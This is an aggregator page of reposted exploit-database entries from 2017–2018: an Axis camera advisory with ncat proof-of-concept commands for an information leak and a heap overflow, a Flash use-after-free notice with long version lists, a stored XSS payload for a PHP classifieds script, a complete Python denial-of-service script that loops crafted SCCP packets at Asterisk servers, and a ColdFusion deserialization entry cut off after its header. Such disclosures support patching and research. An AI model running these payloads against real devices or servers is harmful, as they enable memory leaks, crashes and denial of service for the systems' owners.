Quantcast
Channel: Exploit Collector
Viewing all 13315 articles
Browse latest View live

Axis Communications MPQT/PACS - Heap Overflow / Information Leakage

$
0
0
EDB-ID: 43985
Author: bashis
Published: 2017-11-30
CVE: N/A
Type: Remote
Platform: Multiple
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A


Subject: Axis Communications MPQT/PACS Heap Overflow and Information Leakage.

Attack vector: Remote
Authentication: Anonymous (no credentials needed)
Researcher: bashis <mcw noemail eu> (August 2017)
PoC: https://github.com/mcw0/PoC
Release date: December 1, 2017
Full Disclosure: 90 days (due to the large volume of affected devices)

heap: Non-Executable + ASLR
stack: Non-Executable + ASLR

Axis Vulnerability ID: ACV-120444

Vulnerable: MPQT series < v7.20.x/6.50.1.2
Not vulnerable: MPQT series > v7.30/6.50.1.3 (Releases from September to November 2017)

Vulnerable: PACS series < v1.30.0.2/1.60.0/1.10.0.2/1.65.1
Not vulnerable (Releases from October to November 2017):

1. Information leak; All MPQT and PACS (Exist actually from v4.x Firmware)
2. Heap Overflow; MPQT and PACS with Apache Web Server (cannot be triggered with Boa Web Server)

[Note]
The best way to find a fixed FW is to check the Axis advisory and look for 'ACV-120444' in the release notes.
https://www.axis.com/global/en/support/firmware
https://www.axis.com/global/en/support/product-security


Timeline:
August 31, 2017: Initiated contact with Axis
September 1, 2017: Response from Axis
September 5, 2017: ACK of findings from Axis
September 9, 2017: Received first test image from Axis to verify fix
September 28, 2017: Received first advisory draft from Axis
November 15-27, 2017: Coordination with Axis for Full Disclosure
December 1, 2017: Full Disclosure

-[General Information]-
"CGI_decode" in /usr/lib/libcgiparser.so suffers from a bug in the handling URL decode of '%xx'.
The CGI_decode does not check the size of what it is about to decode, it always assumes "%" plus two chars.

By supplying only one single '%', 'CGI_decode' will try to URL decode [% + NULL + Next char], which lead to the return of a longer string than expected as the new string will be read until the next NULL. ([NULL string termination + Next char] are replaced with one '?')

-[Information leakage]-

The "%"" in "GET /index.shtml?size=%"" triggers both "information disclosure" and "heap overflow", depending on how it will be used.

[PoC] (see the breakpoint with the 'AAAA' in the 'Result')
$ echo -en "GET /index.shtml?size=AAAA% HTTP/1.0\n\n" | ncat -v 192.168.57.20 80

[Result]
...
var completePath = "imagepath=" + encodeURIComponent(imagepath) + "&size=AAAA?http_user=anonymous&http_remote_addr=192.168.57.1&http_remote_port=44019&http_port=80&http_scheme_addr=http://http&http_protocol=http&www_authenticate_header=WWW-Authenticate:%20Digest%20realm=%22_%22,%20nonce=%22pP/WaqNeBQA=884e58ea2563f69a14215a33ca02efa68eeca126%22,%20algorithm=MD5,%20qop=%22auth%22";
...


-[Heap Overflow]-

To trigger the heap overflow we need to send ~20KB amount of data that would normally not be accepted by the Web server.
The way around this is to use 'Referer:' and 'x-sessioncookie', where we can send max 8162 bytes in each of them.

[Note]
Without the information leakage bug above, the realloc() will never be triggered regardless how much data is sent.

[PoC]
$ echo -en "GET /index.shtml?size=% HTTP/1.0\nReferer: `for((i=0;i<8162;i++));do echo -en "\x22";done`\nx-sessioncookie: `for((i=0;i<2157;i++));do echo -en "\x22";done`\n\n" | ncat -v 192.168.57.20 80

[Result]
/var/log/info.log
2017-05-08T08:22:23.801+00:00 axis [ INFO ] ssid[3337]: *** Error in `/bin/ssid': realloc(): invalid next size: 0x00bfda50 ***

-[Vulnerable binaries]-

/bin/ssid (Server Side Include Daemon)
/bin/urldecode (URL Command Line Tool)
/usr/bin/dynamic_overlayd (Dynamic Overlay Daemon)
/usr/bin/wsd (Web Service Dispatch Daemon)
/usr/html/axis-cgi/param.cgi (VAPIX Parameter Management)

/usr/lib/libwsevent.so
/usr/lib/libcgiparser.so (<= with the vulnerable function 'CGI_decode()', used in above binaries)

Have a nice day
/bashis

[ETX]


Adobe Flash Player CVE-2018-4877 Use After Free Remote Code Execution Vulnerability

$
0
0


Adobe Flash Player is prone to an unspecified remote code-execution vulnerability.

Attackers can exploit this issue to execute arbitrary code in the context of the user running the affected applications. Failed exploit attempts will likely cause a denial-of-service condition. Successful exploitation could potentially allow an attacker to take control of the affected system.

Adobe Flash Player version 28.0.0.137 and prior versions are vulnerable.

Information

Bugtraq ID: 102930
Class: Unknown
CVE: CVE-2018-4877

Remote: Yes
Local: No
Published: Feb 06 2018 12:00AM
Updated: Feb 06 2018 12:00AM
Credit: bo13oy of Qihoo 360 Vulcan Team working with Trend Micro's Zero Day Initiative
Vulnerable: Microsoft Internet Explorer 11
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 version 1703 for 32-bit Systems 0
+ Microsoft Windows 10 version 1703 for 32-bit Systems 0
+ Microsoft Windows 10 version 1703 for x64-based Systems 0
+ Microsoft Windows 10 version 1703 for x64-based Systems 0
+ Microsoft Windows 10 version 1709 for 32-bit Systems 0
+ Microsoft Windows 10 version 1709 for x64-based Systems 0
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for 32-bit Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 7 for x64-based Systems SP1
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for 32-bit Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows 8.1 for x64-based Systems 0
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Rt 8.1 -
+ Microsoft Windows Server 2016
+ Microsoft Windows Server 2016
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for Itanium-based Systems SP2
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2008 R2 for x64-based Systems SP1
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
+ Microsoft Windows Server 2012 R2 0
Microsoft Edge 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for 32-bit Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for 32-bit Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 version 1511 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for 32-bit Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 Version 1607 for x64-based Systems 0
+ Microsoft Windows 10 version 1703 for 32-bit Systems 0
+ Microsoft Windows 10 version 1703 for 32-bit Systems 0
+ Microsoft Windows 10 version 1703 for x64-based Systems 0
+ Microsoft Windows 10 version 1703 for x64-based Systems 0
+ Microsoft Windows 10 version 1709 for 32-bit Systems 0
+ Microsoft Windows 10 version 1709 for 32-bit Systems 0
+ Microsoft Windows 10 version 1709 for x64-based Systems 0
+ Microsoft Windows 10 version 1709 for x64-based Systems 0
+ Microsoft Windows Server 2016 0
+ Microsoft Windows Server 2016 for x64-based Systems 0
+ Microsoft Windows Server 2016 for x64-based Systems 0
+ Microsoft Windows Server 2016 for x64-based Systems 0
Google Chrome 0
Adobe Flash Player 16.0 235
Adobe Flash Player 14.0 179
Adobe Flash Player 14.0 177
Adobe Flash Player 14.0 176
Adobe Flash Player 13.0 259
Adobe Flash Player 13.0 252
Adobe Flash Player 13.0 214
Adobe Flash Player 13.0 182
Adobe Flash Player 12.0 70
Adobe Flash Player 11.7.700 275
Adobe Flash Player 11.7.700 232
Adobe Flash Player 11.7.700 169
Adobe Flash Player 11.6.602 105
Adobe Flash Player 11.5.502 131
Adobe Flash Player 11.5.502 124
Adobe Flash Player 11.5.502 118
Adobe Flash Player 11.5.500 80
Adobe Flash Player 11.4.400 231
Adobe Flash Player 11.3.300 271
Adobe Flash Player 11.3.300 270
Adobe Flash Player 11.3.300 268
Adobe Flash Player 11.3.300 265
Adobe Flash Player 11.3.300 262
Adobe Flash Player 11.3.300 257
Adobe Flash Player 11.3.300 250
Adobe Flash Player 11.3.300 231
Adobe Flash Player 11.3.300 214
Adobe Flash Player 11.2.202 95
Adobe Flash Player 11.2.202 425
Adobe Flash Player 11.2.202 418
Adobe Flash Player 11.2.202 400
Adobe Flash Player 11.2.202 359
Adobe Flash Player 11.2.202 350
Adobe Flash Player 11.2.202 346
Adobe Flash Player 11.2.202 341
Adobe Flash Player 11.2.202 297
Adobe Flash Player 11.2.202 280
Adobe Flash Player 11.2.202 238
Adobe Flash Player 11.2.202 236
Adobe Flash Player 11.2.202 221
Adobe Flash Player 11.2.202 197
Adobe Flash Player 11.2.202 160
Adobe Flash Player 11.1.115 69
Adobe Flash Player 11.1.115 54
Adobe Flash Player 11.1.111 64
Adobe Flash Player 11.1.111 50
Adobe Flash Player 11.0.1 98
Adobe Flash Player 11.0.1 60
Adobe Flash Player 11.0.1 129
Adobe Flash Player 10.1.53 .64
Adobe Flash Player 10.1.51 .66
Adobe Flash Player 10.0.45 2
Adobe Flash Player 10.0.32 18
Adobe Flash Player 10.0.22 .87
Adobe Flash Player 10.0.15 .3
Adobe Flash Player 10.0.12 .36
Adobe Flash Player 10.0.12 .35
Adobe Flash Player 9.0.262
Adobe Flash Player 9.0.246 0
Adobe Flash Player 9.0.152 .0
Adobe Flash Player 9.0.151 .0
Adobe Flash Player 9.0.124 .0
Adobe Flash Player 9.0.9.0
Adobe Flash Player 9.0.8.0
Adobe Flash Player 9.0.48.0
Adobe Flash Player 9.0.47.0
Adobe Flash Player 9.0.45.0
Adobe Flash Player 9.0.31.0
Adobe Flash Player 9.0.289.0
Adobe Flash Player 9.0.283.0
Adobe Flash Player 9.0.280
Adobe Flash Player 9.0.28.0
Adobe Flash Player 9.0.277.0
Adobe Flash Player 9.0.262.0
Adobe Flash Player 9.0.260.0
Adobe Flash Player 9.0.246.0
Adobe Flash Player 9.0.159.0
Adobe Flash Player 9.0.155.0
Adobe Flash Player 9.0.115.0
Adobe Flash Player 9
Adobe Flash Player 8.0.35.0
Adobe Flash Player 8.0.34.0
Adobe Flash Player 8
Adobe Flash Player 7.61
Adobe Flash Player 7.0.73.0
Adobe Flash Player 7.0.70.0
Adobe Flash Player 7.0.69.0
Adobe Flash Player 7.0.68.0
Adobe Flash Player 7.0.67.0
Adobe Flash Player 7.0.66.0
Adobe Flash Player 7.0.61.0
Adobe Flash Player 7.0.60.0
Adobe Flash Player 7.0.53.0
Adobe Flash Player 7.0.24.0
Adobe Flash Player 7.0.19.0
Adobe Flash Player 7.0.14.0
Adobe Flash Player 7
Adobe Flash Player 6.0.79
Adobe Flash Player 6.0.21.0
Adobe Flash Player 4
Adobe Flash Player 3
Adobe Flash Player 28.0.0.137
Adobe Flash Player 28.0.0.126
Adobe Flash Player 27.0.0.187
Adobe Flash Player 27.0.0.170
Adobe Flash Player 27.0.0.159
Adobe Flash Player 27.0.0.130
Adobe Flash Player 26.0.0.151
Adobe Flash Player 26.0.0.137
Adobe Flash Player 26.0.0.131
Adobe Flash Player 26.0.0.126
Adobe Flash Player 26.0.0.120
Adobe Flash Player 25.0.0.171
Adobe Flash Player 25.0.0.163
Adobe Flash Player 25.0.0.148
Adobe Flash Player 25.0.0.127
Adobe Flash Player 24.0.0.221
Adobe Flash Player 24.0.0.194
Adobe Flash Player 24.0.0.186
Adobe Flash Player 23.0.0.207
Adobe Flash Player 23.0.0.205
Adobe Flash Player 23.0.0.185
Adobe Flash Player 23.0.0.162
Adobe Flash Player 22.0.0.192
Adobe Flash Player 21.0.0.242
Adobe Flash Player 21.0.0.241
Adobe Flash Player 21.0.0.226
Adobe Flash Player 21.0.0.216
Adobe Flash Player 21.0.0.213
Adobe Flash Player 21.0.0.197
Adobe Flash Player 21.0.0.182
Adobe Flash Player 21.0
Adobe Flash Player 20.0.0.306
Adobe Flash Player 20.0.0.286
Adobe Flash Player 20.0.0.272
Adobe Flash Player 20.0.0.267
Adobe Flash Player 20.0.0.235
Adobe Flash Player 20.0.0.228
Adobe Flash Player 2
Adobe Flash Player 19.0.0.245
Adobe Flash Player 19.0.0.226
Adobe Flash Player 19.0.0.207
Adobe Flash Player 19.0.0.185
Adobe Flash Player 18.0.0.375
Adobe Flash Player 18.0.0.366
Adobe Flash Player 18.0.0.360
Adobe Flash Player 18.0.0.352
Adobe Flash Player 18.0.0.343
Adobe Flash Player 18.0.0.333
Adobe Flash Player 18.0.0.329
Adobe Flash Player 18.0.0.326
Adobe Flash Player 18.0.0.324
Adobe Flash Player 18.0.0.268
Adobe Flash Player 18.0.0.261
Adobe Flash Player 18.0.0.255
Adobe Flash Player 18.0.0.252
Adobe Flash Player 18.0.0.241
Adobe Flash Player 18.0.0.233
Adobe Flash Player 18.0.0.232
Adobe Flash Player 18.0.0.209
Adobe Flash Player 18.0.0.204
Adobe Flash Player 18.0.0.203
Adobe Flash Player 18.0.0.194
Adobe Flash Player 18.0.0.161
Adobe Flash Player 18.0.0.160
Adobe Flash Player 18.0.0.143
Adobe Flash Player 17.0.0.188
Adobe Flash Player 17.0.0.169
Adobe Flash Player 17.0.0.134
Adobe Flash Player 16.0.0.305
Adobe Flash Player 16.0.0.296
Adobe Flash Player 16.0.0.291
Adobe Flash Player 16.0.0.287
Adobe Flash Player 16.0.0.257
Adobe Flash Player 16.0.0.234
Adobe Flash Player 15.0.0.246
Adobe Flash Player 15.0.0.242
Adobe Flash Player 15.0.0.239
Adobe Flash Player 15.0.0.223
Adobe Flash Player 15.0.0.189
Adobe Flash Player 15.0.0.152
Adobe Flash Player 14.0.0.145
Adobe Flash Player 14.0.0.125
Adobe Flash Player 13.0.0.309
Adobe Flash Player 13.0.0.302
Adobe Flash Player 13.0.0.296
Adobe Flash Player 13.0.0.292
Adobe Flash Player 13.0.0.289
Adobe Flash Player 13.0.0.281
Adobe Flash Player 13.0.0.277
Adobe Flash Player 13.0.0.269
Adobe Flash Player 13.0.0.264
Adobe Flash Player 13.0.0.262
Adobe Flash Player 13.0.0.260
Adobe Flash Player 13.0.0.258
Adobe Flash Player 13.0.0.250
Adobe Flash Player 13.0.0.244
Adobe Flash Player 13.0.0.241
Adobe Flash Player 13.0.0.231
Adobe Flash Player 13.0.0.223
Adobe Flash Player 13.0.0.206
Adobe Flash Player 13.0.0.201
Adobe Flash Player 12.0.0.77
Adobe Flash Player 12.0.0.44
Adobe Flash Player 12.0.0.43
Adobe Flash Player 12.0.0.41
Adobe Flash Player 12.0.0.38
Adobe Flash Player 12
Adobe Flash Player 11.9.900.170
Adobe Flash Player 11.9.900.152
Adobe Flash Player 11.9.900.117
Adobe Flash Player 11.8.800.97
Adobe Flash Player 11.8.800.94
Adobe Flash Player 11.8.800.170
Adobe Flash Player 11.8.800.168
Adobe Flash Player 11.7.700.279
Adobe Flash Player 11.7.700.272
Adobe Flash Player 11.7.700.269
Adobe Flash Player 11.7.700.261
Adobe Flash Player 11.7.700.260
Adobe Flash Player 11.7.700.257
Adobe Flash Player 11.7.700.252
Adobe Flash Player 11.7.700.242
Adobe Flash Player 11.7.700.225
Adobe Flash Player 11.7.700.224
Adobe Flash Player 11.7.700.203
Adobe Flash Player 11.7.700.202
Adobe Flash Player 11.6.602.180
Adobe Flash Player 11.6.602.171
Adobe Flash Player 11.6.602.168
Adobe Flash Player 11.6.602.167
Adobe Flash Player 11.5.502.149
Adobe Flash Player 11.5.502.146
Adobe Flash Player 11.5.502.136
Adobe Flash Player 11.5.502.135
Adobe Flash Player 11.5.502.110
Adobe Flash Player 11.4.402.287
Adobe Flash Player 11.4.402.278
Adobe Flash Player 11.4.402.265
Adobe Flash Player 11.3.378.5
Adobe Flash Player 11.3.31.230
Adobe Flash Player 11.3.300.273
Adobe Flash Player 11.2.202.644
Adobe Flash Player 11.2.202.635
Adobe Flash Player 11.2.202.632
Adobe Flash Player 11.2.202.626
Adobe Flash Player 11.2.202.621
Adobe Flash Player 11.2.202.616
Adobe Flash Player 11.2.202.577
Adobe Flash Player 11.2.202.569
Adobe Flash Player 11.2.202.559
Adobe Flash Player 11.2.202.554
Adobe Flash Player 11.2.202.548
Adobe Flash Player 11.2.202.540
Adobe Flash Player 11.2.202.535
Adobe Flash Player 11.2.202.521
Adobe Flash Player 11.2.202.508
Adobe Flash Player 11.2.202.491
Adobe Flash Player 11.2.202.481
Adobe Flash Player 11.2.202.468
Adobe Flash Player 11.2.202.466
Adobe Flash Player 11.2.202.460
Adobe Flash Player 11.2.202.457
Adobe Flash Player 11.2.202.451
Adobe Flash Player 11.2.202.442
Adobe Flash Player 11.2.202.440
Adobe Flash Player 11.2.202.438
Adobe Flash Player 11.2.202.429
Adobe Flash Player 11.2.202.424
Adobe Flash Player 11.2.202.411
Adobe Flash Player 11.2.202.406
Adobe Flash Player 11.2.202.394
Adobe Flash Player 11.2.202.378
Adobe Flash Player 11.2.202.356
Adobe Flash Player 11.2.202.336
Adobe Flash Player 11.2.202.335
Adobe Flash Player 11.2.202.332
Adobe Flash Player 11.2.202.327
Adobe Flash Player 11.2.202.310
Adobe Flash Player 11.2.202.291
Adobe Flash Player 11.2.202.285
Adobe Flash Player 11.2.202.275
Adobe Flash Player 11.2.202.273
Adobe Flash Player 11.2.202.270
Adobe Flash Player 11.2.202.262
Adobe Flash Player 11.2.202.261
Adobe Flash Player 11.2.202.258
Adobe Flash Player 11.2.202.251
Adobe Flash Player 11.2.202.243
Adobe Flash Player 11.2.202.238
Adobe Flash Player 11.2.202.235
Adobe Flash Player 11.2.202.233
Adobe Flash Player 11.2.202.229
Adobe Flash Player 11.2.202.228
Adobe Flash Player 11.2.202.223
Adobe Flash Player 11.1.115.81
Adobe Flash Player 11.1.115.8
Adobe Flash Player 11.1.115.7
Adobe Flash Player 11.1.115.63
Adobe Flash Player 11.1.115.6
Adobe Flash Player 11.1.115.59
Adobe Flash Player 11.1.115.58
Adobe Flash Player 11.1.115.48
Adobe Flash Player 11.1.115.34
Adobe Flash Player 11.1.115.11
Adobe Flash Player 11.1.112.61
Adobe Flash Player 11.1.111.9
Adobe Flash Player 11.1.111.8
Adobe Flash Player 11.1.111.73
Adobe Flash Player 11.1.111.7
Adobe Flash Player 11.1.111.6
Adobe Flash Player 11.1.111.54
Adobe Flash Player 11.1.111.5
Adobe Flash Player 11.1.111.44
Adobe Flash Player 11.1.111.10
Adobe Flash Player 11.1.102.63
Adobe Flash Player 11.1.102.62
Adobe Flash Player 11.1.102.59
Adobe Flash Player 11.1.102.55
Adobe Flash Player 11.1.102.228
Adobe Flash Player 11.1
Adobe Flash Player 11.0.1.153
Adobe Flash Player 11.0.1.152
Adobe Flash Player 11.0
Adobe Flash Player 11
Adobe Flash Player 10.3.186.7
Adobe Flash Player 10.3.186.6
Adobe Flash Player 10.3.186.3
Adobe Flash Player 10.3.186.2
Adobe Flash Player 10.3.185.25
Adobe Flash Player 10.3.185.24
Adobe Flash Player 10.3.185.23
Adobe Flash Player 10.3.185.22
Adobe Flash Player 10.3.185.21
Adobe Flash Player 10.3.183.86
Adobe Flash Player 10.3.183.75
Adobe Flash Player 10.3.183.7
Adobe Flash Player 10.3.183.68
Adobe Flash Player 10.3.183.67
Adobe Flash Player 10.3.183.63
Adobe Flash Player 10.3.183.61
Adobe Flash Player 10.3.183.51
Adobe Flash Player 10.3.183.50
Adobe Flash Player 10.3.183.5
Adobe Flash Player 10.3.183.48
Adobe Flash Player 10.3.183.43
Adobe Flash Player 10.3.183.4
Adobe Flash Player 10.3.183.29
Adobe Flash Player 10.3.183.25
Adobe Flash Player 10.3.183.23
Adobe Flash Player 10.3.183.20
Adobe Flash Player 10.3.183.19
Adobe Flash Player 10.3.183.18
Adobe Flash Player 10.3.183.16
Adobe Flash Player 10.3.183.15
Adobe Flash Player 10.3.183.11
Adobe Flash Player 10.3.183.10
Adobe Flash Player 10.3.181.34
Adobe Flash Player 10.3.181.26
Adobe Flash Player 10.3.181.23
Adobe Flash Player 10.3.181.22
Adobe Flash Player 10.3.181.16
Adobe Flash Player 10.3.181.14
Adobe Flash Player 10.2.159.1
Adobe Flash Player 10.2.157.51
Adobe Flash Player 10.2.156.12
Adobe Flash Player 10.2.154.28
Adobe Flash Player 10.2.154.27
Adobe Flash Player 10.2.154.25
Adobe Flash Player 10.2.154.24
Adobe Flash Player 10.2.154.18
Adobe Flash Player 10.2.154.13
Adobe Flash Player 10.2.153.1
Adobe Flash Player 10.2.152.33
Adobe Flash Player 10.2.152.32
Adobe Flash Player 10.2.152.26
Adobe Flash Player 10.2.152.21
Adobe Flash Player 10.2.152
Adobe Flash Player 10.1.95.2
Adobe Flash Player 10.1.95.1
Adobe Flash Player 10.1.92.8
Adobe Flash Player 10.1.92.10
Adobe Flash Player 10.1.85.3
Adobe Flash Player 10.1.82.76
Adobe Flash Player 10.1.52.15
Adobe Flash Player 10.1.52.14.1
Adobe Flash Player 10.1.52.14
Adobe Flash Player 10.1.106.17
Adobe Flash Player 10.1.106.16
Adobe Flash Player 10.1.105.6
Adobe Flash Player 10.1.102.65
Adobe Flash Player 10.1.102.64
Adobe Flash Player 10.1
Adobe Flash Player 10.0.42.34
Adobe Flash Player 10.0.32.18
Adobe Flash Player 10.0.2.54
Adobe Flash Player 10


Not Vulnerable: Adobe Flash Player 28.0.0.161
+ Google Chrome 0
+ Microsoft Edge 0
+ Microsoft Internet Explorer 11


Exploit


Attackers can exploit this issue by enticing an unsuspecting user to open office documents, web pages, crafted e-mails that contain embedded malicious Flash content.


    Hot Scripts Clone Script Classified - Persistent Cross-Site Scripting

    $
    0
    0
    EDB-ID: 43991
    Author: Prasenjit Kanti Paul
    Published: 2018-02-07
    CVE: N/A
    Type: Webapps
    Platform: PHP
    Aliases: N/A
    Advisory/Source: N/A
    Tags: Cross-Site Scripting (XSS)
    Vulnerable App: N/A

     # Exploit Title: Hot Scripts Clone : Script Classified - Stored XSS 
    # Date: 06.02.2018
    # Exploit Author: Prasenjit Kanti Paul
    # Web: http://hack2rule.wordpress.com/
    # Vendor Homepage: https://www.phpscriptsmall.com/
    # Software Link: https://www.phpscriptsmall.com/product/hot-scripts-clone-script-classified/
    # Category: Web Application
    # Version: 3.1
    # Tested on: Linux Mint
    # CVE: na
    #######################################################################################

    Proof of Concept
    =================
    1. Login to Hot Scripts Clone : Script Classified
    2. Select Any Ads
    3. Goto below review section and put "<script>alert("PKP")</script>" as
    title or description
    4. You will have popup of "PKP"

    Asterisk 13.17.2 - 'chan_skinny' Remote Memory Corruption

    $
    0
    0
    EDB-ID: 43992
    Author: Juan Sacco
    Published: 2018-02-07
    CVE: CVE-2017-17090
    Type: Dos
    Platform: Multiple
    Vulnerable App: N/A

     # Vulnerability found using Exploit Pack v10 - Fuzzer module 
    # CVE-2017-17090 - AST-2017-013
    #
    # Tested on: Asterisk 13.17.2~dfsg-2
    #
    # Description: Asterisk is prone to a remote unauthenticated memory exhaustion
    # The vulnerability is due to an error when the vulnerable application
    # handles crafted SCCP packet. A remote attacker may be able to exploit
    # this to cause a denial of service condition on the affected system.
    #
    # [Nov 29 15:38:06] ERROR[7763] tcptls.c: TCP/TLS unable to launch
    # helper thread: Cannot allocate memory
    #
    # Program: Asterisk is an Open Source PBX and telephony toolkit. It is, in a
    # sense, middleware between Internet and telephony channels on the bottom,
    # and Internet and telephony applications at the top.
    #
    # Homepage: http://www.asterisk.org/
    # Filename: pool/main/a/asterisk/asterisk_13.17.2~dfsg-2_i386.deb
    #
    # Example usage: python asteriskSCCP.py 192.168.1.1 2000

    import binascii
    import sys
    import socket
    import time

    def asteriskSCCP(target,port):
    try:
    while 1:
    # Open socket
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    # Set reuse ON
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    # Bind port
    s.connect((target, port))
    print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Connected to:"), target, port
    print("[" + time.strftime('%a %H:%M:%S') + "]" + " - " + "Establishing connection.. ")
    packet =
    binascii.unhexlify(b'450002c50001000040067a307f0000017f000001001407d00000000000000000500220009a2b0000e4eea8a72a97467d3631824ac1c08c604e762eb80af46cc6d219a4cf65c13992b4a8af94cb5e87c14faf0254cba25af9fb33bd8d2a58e370e3a866639dfdec350875cfecfe068a16746963fffeee0fdcbac75eb4f09d625f3ae1b4a3eb2812e6f838e88b0d7d9881465a0faf45664df8008d4d6de1a5e20a9c97a71f57d3429e0b17db3aeb3bf516ca4e207a5c801d04132979508f267c7425a57fd0edd271b57ff9831b595b519e73404f170492ae3ad438d4aeca854e96c9dd56d2af3813b8de6b3d8d31d32c0e95be9cb3a5c6106f64c4f19cda2b55ad1471f3d63e1b1ca3c29f362def063ad9b29ea4d1c1fda5c2e4cf0ae75064c27411a2deb5fab11e6412cd5a4037f38779f0173fa1f2ca1740aa78fe37bc0a50f5619c7abba00f2957bf06770ff4d6c003d4533de19f51bcbbd9bbe0ceb3e17dd180e58ee2698998edca42e3d6a8079cc151b608e5bd5aff052e718e714b360f9b091894a5eeed34dafe41d27f19988b3e0ac5a6dd8947c3537ae31154e983cdbac0861afc500206e74030c9e452738ece13075df2dbebb8a1737ee3b4880bc6d428ee2d3d64f585e197dc63f30638a4c55cff0b8e6aa82dfdf199baabd92c10092414015fad5f08e9c816a4d028574ee5340c08b2fe65ca1e7ca907ea2ebd6661e01e9b9d39d5bdb3e3cebd58e96f97f487bb580bcf5447ac48a2ad5541ae0ddcc9ec1f9528f2c07316dbd760e91e3bddbd53fbf6987fdba0830bdb485524950b5611e18e5d517c0f3ae05aa2daec42a5c43eab07aa0018ab750dc6995adad6561cc8a0379f7a12d8e5e474df013459442801d6871c5820318d790833687619b70b0da74893ca441f177ab9e7d7a537c6ff4920c79631905c35167d8a6efc0c6bced9270691abc5b4de84f956f8c1d34f9ef3f0073dafce8c076c4d537e981a1e8ff6ed3e8c')

    # Log the packet in hexa and timestamp
    fileLog = target + ".log"
    logPacket = open(fileLog, "w+")
    logPacket.write("["+time.strftime('%a %H:%M:%S')+"]"+ " - Packet sent: " + binascii.hexlify(bytes(packet))+"\n")
    logPacket.close()

    # Write bytecodes to socket
    print("["+time.strftime('%a %H:%M:%S')+"]"+" - "+"Packet sent: ")
    s.send(bytes(packet))
    # Packet sent:
    print(bytes(packet))
    try:
    data = s.recv(4096)
    print("[" + time.strftime('%a %H:%M:%S') + "]" + " - "+ "Data received: '{msg}'".format(msg=data))
    except socket.error, e:
    print 'Sorry, No data available'
    continue
    s.close()
    except socket.error as error:
    print error
    print "Sorry, something went wrong!"

    def howtouse():
    print "Usage: AsteriskSCCP.py Hostname Port"
    print "[*] Mandatory arguments:"
    print "[-] Specify a hostname / port"
    sys.exit(-1)

    if __name__ == "__main__":
    try:
    # Set target
    target = sys.argv[1]
    port = int(sys.argv[2])

    print "[*] Asterisk 13.17 Exploit by Juan Sacco <jsacco@exploitpack.com "
    asteriskSCCP(target, port)
    except IndexError:
    howtouse()

    Adobe Coldfusion 11.0.03.292866 - BlazeDS Java Object Deserialization Remote Code Execution

    $
    0
    0
    EDB-ID: 43993
    Author: Faisal Tameesh
    Published: 2018-02-07
    CVE: CVE-2017-3066
    Type: Remote
    Platform: Windows
    Vulnerable App: N/A

     # Date: February 6, 2018 
    # Exploit Author: Faisal Tameesh (@DreadSystems)
    # Company: Depth Security (https://depthsecurity.com)
    # Version: Adobe Coldfusion (11.0.03.292866)
    # Tested On: Windows 10 Enterprise (10.0.15063)
    # CVE: CVE-2017-3066
